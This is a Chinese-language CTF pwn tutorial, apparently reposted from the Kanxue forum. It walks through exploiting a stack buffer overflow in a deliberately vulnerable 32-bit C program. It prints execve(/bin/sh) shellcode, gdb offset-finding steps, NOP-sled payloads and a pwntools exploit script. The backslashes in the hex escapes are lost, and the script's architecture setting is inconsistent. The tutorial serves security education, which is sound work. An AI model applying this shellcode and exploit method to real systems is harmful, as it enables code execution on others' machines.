本文为看雪论优秀文章
看雪论坛作者ID:dxbaicai
一、教程说明
1.1 历史回顾
从0开始CTF-PWN(一)——基础环境准备
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
1.2 本节说明
二、环境设置及编译说明
2.1 环境设置
# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
2.2 编译源文件
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]
-
-m32:使用32位编译
-
-O0:关闭所有优化
-
-g:在可执行文件中加入源码信息
-
-fno-stack-protector:关闭栈保护
-
-z execstack:启用栈上代码可执行
三、构造shell
3.1 pwn_test_bof2.c程序
int main(int argc, char* argv[]) {
char buf[128];
if (argc < 2) return 1;
strcpy(buf, argv[1]);
printf("Input:%sn", buf);
return 0;
}
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o pwn_test_bof2_32-gcc4.8 pwn_test_bof2.c
3.2 构造特殊的栈结构
我们先来回顾一下上一节中关于函数调用与返回的栈结构。
注意上文最后一句“最后将返回地址从栈顶弹出...指向了调用函数后的下一条语句”,由于程序并没有关闭栈上可执行(编译时使用了-z execstack参数,也就是说可以在栈上执行代码),如果我们将函数的返回地址改到栈上,并在栈上放置我们精心准备过的获取shell的指令语句,使得函数返回时跳转到shellcode去执行。不就可以获得shell了吗?
3.3 什么是shellcode
Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes)
对应代码为:
char shellcode[] = "xebx11x5ex31xc9xb1x32x80"
"x6cx0exffx01x80xe9x01x75"
"xf6xebx05xe8xeaxffxffxff"
"x32xc1x51x69x30x30x74x69"
"x69x30x63x6ax6fx8axe4x51"
"x54x8axe2x9axb1x0cxcex81";
3.4 攻击思路
-
找出buf变量地址。我们可以从buf一开始就写入shellcode,也可以填写一段padding后再写入shellcode。记录shellcode填充的位置。
-
找出main函数返回地址。
-
计算main函数返回地址与buf变量地址2者的偏移量,在填充完shellcode后,再填充差值长度的padding,使得可以覆盖返回地址,并将返回地址指向shellcode所在位置。
disassemble main
# 下断点
b *0x080491ae
b *0x080491c8
执行并观察断点1处时的栈空间:
# 执行
r
# 查看50空间的栈(由于buf数组较长,我们这里查看50长度的空间)
stack 50
输入c继续执行到第二个断点,我们来验证下地址是不是上图中我们猜测的。
# 继续执行
c
于是我们可以计算偏移量差值为140:
p/d 0xffffd60c - 0xffffd580
2 = 140
于是我们可以构造如下的payload结构,这里buf的起始地址位置就是填在返回地址所在位置:
shellcode + padding + buf的起始地址
# payload:shellcode(48字节) + padding(140-48=92字节) + buf的起始地址(注意要转换成小端序)
"xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "x80xd5xffxff"
其实这是因为我们一开始调试的时候用的是4位参数AAAA进行调试的,但是我们上面payload输入的是140+4位的长度,导致程序分配的buf的地址发生了变化,起始地址不在是0xffffd580。所以我们重新整理下解题思路应该如下:
-
先找出偏移量(偏移量不会变化)
-
输入偏移量+4长度的字符,获得此时buf的起始地址
-
构造payload
# "A"*140+"CCCC"
gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "A"*140+"CCCC"')
# 注意这里我们使用gdb来执行
gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "xf0xd4xffxff"')
gdb-peda$ starti
gdb-peda$ r
这是因为gdb在运行时,会往栈上添加许多进程使用的环境变量,导致栈的地址变低了,但是直接运行时,没有这些环境变量,所以地址会比gdb中查询获得的高。对于这个问题,我们可以NOP链来绕过。
NOP指令,也称作“空指令”,在x86的CPU中机器码为0x90(144)。NOP不执行操作,但占一个程序步。——也就是说当遇到NOP指令的时候,程序不会做任何事,而是继续执行下一条指令。
我们计划插入60长度的NOP,并把上面查询获得的buf地址+60。
# 使用python快速计算
0xffffd4f0+60) > hex(
'0xffffd52c'
./pwn_test_bof2_32-gcc4.8 $(python -c 'print "x90"*60 + "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48-60) + "x2cxd5xffxff"')
这里补充一个快速定位偏移量的好工具cyclic()
# 进入python并加载pwntools
root@kali-linux:~# python
> from pwn import *
# 生成一个200长度的有序字符串
200) > cyclic(
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
>
gdb -q -args ./pwn_test_bof2_32-gcc4.8 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
starti
r
0x6261616b) > cyclic_find(
140
3.6 pwntools实现
# coding:utf-8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
payload = "x90" * 60
# shellcode
payload += "xebx11x5ex31xc9xb1x32x80"
payload += "x6cx0exffx01x80xe9x01x75"
payload += "xf6xebx05xe8xeaxffxffxff"
payload += "x32xc1x51x69x30x30x74x69"
payload += "x69x30x63x6ax6fx8axe4x51"
payload += "x54x8axe2x9axb1x0cxcex81"
payload += "A" * (140 - 48 - 60) + p32(0xffffd52c)
p = process(argv=['/home/pwn/test/pwn_test_bof2_32-gcc4.8', payload])
p.interactive()
四、总结
-
先找出偏移量(可以利用cyclic工具)
-
输入偏移量+4长度的字符,获得此时buf的起始地址
-
构造payload:
NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)
看雪ID:dxbaicai
https://bbs.pediy.com/user-home-868728.htm
*本文由看雪论坛 dxbaicai 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论